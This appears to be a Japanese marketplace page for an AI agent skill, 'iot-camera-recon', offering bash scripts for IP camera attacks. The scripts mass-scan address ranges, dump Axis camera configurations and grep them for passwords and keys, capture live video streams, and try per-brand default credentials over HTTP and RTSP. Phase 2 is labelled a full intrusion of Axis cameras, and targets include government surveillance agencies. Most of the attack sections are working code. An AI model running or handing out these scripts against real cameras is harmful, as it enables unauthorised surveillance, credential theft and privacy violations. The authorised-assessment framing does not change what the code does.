mcpField
I
iot-camera-recon

iot-camera-recon

github.com/uphiagoセキュリティ1.3k42 回インストール8 週間前に更新
リポジトリ

iot-camera-recon について

許可を得たセキュリティ評価向けの IoT カメラ調査スキルです。RTSP、メーカー固有の設定エンドポイント、ONVIF、認証、ファームウェアの確認を扱い、メーカー別の参照情報と段階的な手順を備えています。

主な機能

  1. 01カメラとポートの検出
  2. 02ONVIF サービスの列挙
  3. 03メーカー設定の確認
  4. 04デフォルト認証情報のテスト
  5. 05RTSP ストリームの検証
  6. 06ファームウェアの特定

活用シーン

  1. 01許可された範囲内のカメラ露出を評価
  2. 02カメラ設定と認証制御を確認
  3. 03ファームウェアを特定して資産を記録

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill iot-camera-recon

インストール後、Claude Code で/iot-camera-reconを入力して読み込まれたか確認します。

詳細

IoT カメラ偵察スキル

RTSP の公開状況、ベンダーの設定エンドポイント、ONVIF サービスの列挙、認証制御、ファームウェアの特定を対象とする IP カメラの評価です。

使用する場面

  • port-mass-scan で RTSP(554)またはカメラの HTTP ポート(80、8010、8011)が見つかった場合。
  • 対象が物理セキュリティ企業、交通管理機関、または政府の監視機関である場合。
  • Shodan の検索で、対象の IP 範囲内にカメラデバイスが見つかった場合。
  • port-service-discovery で Axis/Hikvision/Dahua の ONVIF サービスが見つかった後。

前提条件

  • curl、python3 を備えた terminal。
  • 大規模スキャンの場合:masscan または RustScan(port-mass-scan を参照)。
  • ストリーム確認用の VLC または ffmpeg(任意)。

実行方法

# Quick camera detection on known IP
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/jpg/image.cgi" -o snapshot.jpg
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/admin/param.cgi?action=list" | head -50

# Mass RTSP discovery on a /24
masscan -p554,80,8010,8011 --rate=10000 192.168.0.0/24 -oJ cameras.json

クイックリファレンス

カメラのブランドデフォルトの HTTP ポートスナップショット URL設定 URLデフォルト認証情報
Axis80, 8010/axis-cgi/jpg/image.cgi/axis-cgi/admin/param.cgi?action=listroot:pass、root:admin
Hikvision80, 554/ISAPI/Streaming/channels/101/picture/System/configurationFile?auth=...admin:12345、admin:admin
Dahua80, 554/cgi-bin/snapshot.cgi/cgi-bin/configManager.cgi?action=getConfigadmin:admin、admin:password
Intelbras80/cgi-bin/snapshot.cgi/web/cgi-bin/hi3510/param.cgiadmin:admin、admin:123456
ONVIF80, 8899該当なし(SOAP)/onvif/device_serviceadmin:admin

手順

フェーズ 1 — カメラの大規模な検出
RANGE="$1"  # e.g., [REDACTED_IP]/16
OUTDIR="$OUTDIR/cameras"
mkdir -p "$OUTDIR"

echo "[*] Camera hunt on $RANGE"

# Masscan for RTSP + camera HTTP ports
masscan -p554,80,8010,8011,8899 --rate=50000 "$RANGE" -oJ "$OUTDIR/masscan_cameras.json"

# Extract IPs with open camera ports
HITS=$(python3 -c "
import json
with open('$OUTDIR/masscan_cameras.json') as f:
    ips = set()
    for line in f:
        try:
            data = json.loads(line.strip()) if line.strip() else {}
            ips.add(data.get('ip', ''))
        except: pass
    for ip in sorted(ips):
        print(ip)
" 2>/dev/null)

echo "[+] $(echo "$HITS" | wc -l) IPs with camera ports"

# Probe each with curl
echo "$HITS" | while read ip; do
  echo "--- $ip ---"

  # Axis snapshot
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:8010/axis-cgi/jpg/image.cgi")
  [[ "$code" == "200" ]] && echo "  [AXIS] Snapshot: http://$ip:8010/axis-cgi/jpg/image.cgi"

  # Axis config dump
  config=$(curl -sk --max-time 5 --connect-timeout 5 "http://$ip:8010/axis-cgi/admin/param.cgi?action=list" 2>/dev/null)
  if [[ -n "$config" ]] && echo "$config" | grep -q "root.Brand"; then
    BRAND=$(echo "$config" | grep "root.Brand.Brand=" | cut -d= -f2 | tr -d '"')
    MODEL=$(echo "$config" | grep "root.Brand.ProdShortName=" | cut -d= -f2 | tr -d '"')
    FIRMWARE=$(echo "$config" | grep "root.Properties.Firmware.Version=" | cut -d= -f2 | tr -d '"')
    SERIAL=$(echo "$config" | grep "root.Properties.System.SerialNumber=" | cut -d= -f2 | tr -d '"')
    echo "  [CONFIG] $BRAND $MODEL — Firmware: $FIRMWARE — Serial: $SERIAL"
    echo "$config" | wc -l | xargs echo "  Parameters:"
  fi

  # Generic RTSP
  for port in 554 8554; do
    code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:$port/")
    [[ "$code" != "000" ]] && echo "  [RTSP] Port $port responds (HTTP $code)"
  done

  # ONVIF discovery (port 8899 or 80)
  for port in 8899 80; do
    resp=$(curl -sk --max-time 5 --connect-timeout 5 -X POST "http://$ip:$port/onvif/device_service" \
      -H "Content-Type: application/soap+xml" \
      -d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>' 2>/dev/null)
    if echo "$resp" | grep -qi "manufacturer\|model\|serial"; then
      echo "  [ONVIF] Device info available on port $port"
    fi
  done
done
フェーズ 2 — Axis カメラの完全な侵入
IP="$1"

echo "[*] Axis camera exploitation on $IP"

# 1. Snapshot
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/jpg/image.cgi" -o "axis_${IP//./_}_snapshot.jpg"
echo "[+] Snapshot saved"

# 2. Full config dump (988 parameters on Axis P1378-LE)
curl -sk --max-time 10 --connect-timeout 10 "http://$IP:8010/axis-cgi/admin/param.cgi?action=list" -o "axis_${IP//./_}_config.txt"
PARAM_COUNT=$(wc -l < "axis_${IP//./_}_config.txt")
echo "[+] Config dump: $PARAM_COUNT parameters"

# 3. Extract sensitive parameters
echo "[*] Sensitive parameters:"
grep -iE 'password|user|token|key|serial|license|cert|network\.eth0\.IP' "axis_${IP//./_}_config.txt" | head -20

# 4. MJPG video stream
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/mjpg/video.cgi" -o "axis_${IP//./_}_stream.mjpg" &
sleep 3; kill %1 2>/dev/null
STREAM_SIZE=$(stat -c%s "axis_${IP//./_}_stream.mjpg" 2>/dev/null || echo 0)
[[ "$STREAM_SIZE" -gt 1000 ]] && echo "[+] Live MJPG stream captured (${STREAM_SIZE} bytes)"

# 5. List available services
for svc in "admin" "viewer" "operator" "ptz" "applications" "local"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$IP:8010/axis-cgi/$svc/")
  [[ "$code" != "404" && "$code" != "000" ]] && echo "  Service: /axis-cgi/$svc/ (HTTP $code)"
done
フェーズ 3 — デフォルト認証情報のテスト
IP="$1"
BRAND="${2:-axis}"  # axis, hikvision, dahua, intelbras

echo "[*] Default credential test on $IP ($BRAND)"

# Brand-specific default credentials
case "$BRAND" in
  axis)
    CREDS=("root:pass" "root:admin" "root:root" "root:12345" "admin:admin" "admin:12345")
    AUTH_URL="http://$IP:8010/axis-cgi/admin/param.cgi?action=list"
    ;;
  hikvision)
    CREDS=("admin:12345" "admin:admin" "admin:123456" "admin:password")
    AUTH_URL="http://$IP/ISAPI/System/deviceInfo"
    ;;
  dahua)
    CREDS=("admin:admin" "admin:password" "admin:123456" "admin:admin123")
    AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
    ;;
  intelbras)
    CREDS=("admin:admin" "admin:123456" "admin:password" "admin:admin123")
    AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
    ;;
  *)
    CREDS=("admin:admin" "admin:12345" "root:admin" "admin:password")
    AUTH_URL="http://$IP/"
    ;;
esac

for cred in "${CREDS[@]}"; do
  USER="${cred%%:*}"
  PASS="${cred##*:}"
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
    -u "$USER:$PASS" "$AUTH_URL" 2>/dev/null)

  if [[ "$code" == "200" ]]; then
    echo "  [CRITICAL] DEFAULT CREDENTIALS: $cred"
  elif [[ "$code" == "401" ]]; then
    echo "  [-] $cred (auth failed)"
  else
    echo "  [$code] $cred"
  fi
done
フェーズ 4 — RTSP ストリームへのアクセス
IP="$1"
PORT="${2:-554}"

echo "[*] RTSP stream access on $IP:$PORT"

# Common RTSP paths
STREAMS=(
  "/live" "/stream" "/cam/realmonitor"
  "/h264" "/h264/ch1/main/av_stream"
  "/Streaming/Channels/101" "/ISAPI/Streaming/channels/101"
  "/axis-media/media.amp" "/onvif1" "/onvif2"
)

for stream in "${STREAMS[@]}"; do
  RTSP_URL="rtsp://$IP:$PORT$stream"
  echo -n "  $stream: "

  # Test with ffmpeg (2 second probe)
  timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
  if [[ $? -eq 0 ]]; then
    echo "LIVE STREAM"
  else
    echo "no response"
  fi
done

# Try with default credentials
for cred in "admin:admin" "admin:12345" "root:pass"; do
  RTSP_URL="rtsp://${cred}@$IP:$PORT/live"
  timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
  [[ $? -eq 0 ]] && echo "  [CRITICAL] RTSP stream accessible with $cred"
done

注意点

  • CGNAT によってカメラへの直接アクセスがブロックされます。 多くのカメラはキャリアグレード NAT の背後にあり、インターネットから到達できません。
  • RTSP の UDP 接続は不安定です。 ストリームを確実にテストするには、-rtsp_transport tcp を使用してください。
  • 設定ダンプは非常に大きくなることがあります。 Axis の設定は 50~200KB です。低速な接続で処理が停止しないよう、--max-time を使用してください。
  • ビデオストリームは帯域幅を多く消費します。 まずスナップショットをテストし、その後、短時間のストリームプローブを実行してください。
  • カメラのファームウェアはほとんど更新されません。 2026 年のスキャンで 2020 年のファームウェアが見つかることは珍しくありません。パッチ適用済みだと決めつけないでください。

検証

  • スナップショット URL は有効な JPEG 画像を返す必要があります(file コマンドで確認)。
  • 設定ダンプには、カメラ固有のパラメーター(ブランド、モデル、シリアル番号、ファームウェアバージョン)が含まれている必要があります。
  • RTSP ストリームはビデオフレームを生成する必要があります(ffprobe または VLC で確認)。
  • デフォルト認証情報で保護されたエンドポイントにアクセスできる必要があります(認証ありで HTTP 200、認証なしで 401)。
  • 公開されているすべてのパラメーターを記録する必要があります:ブランド、モデル、シリアル番号、ファームウェアバージョン、ネットワーク設定、見つかった認証情報。

コメント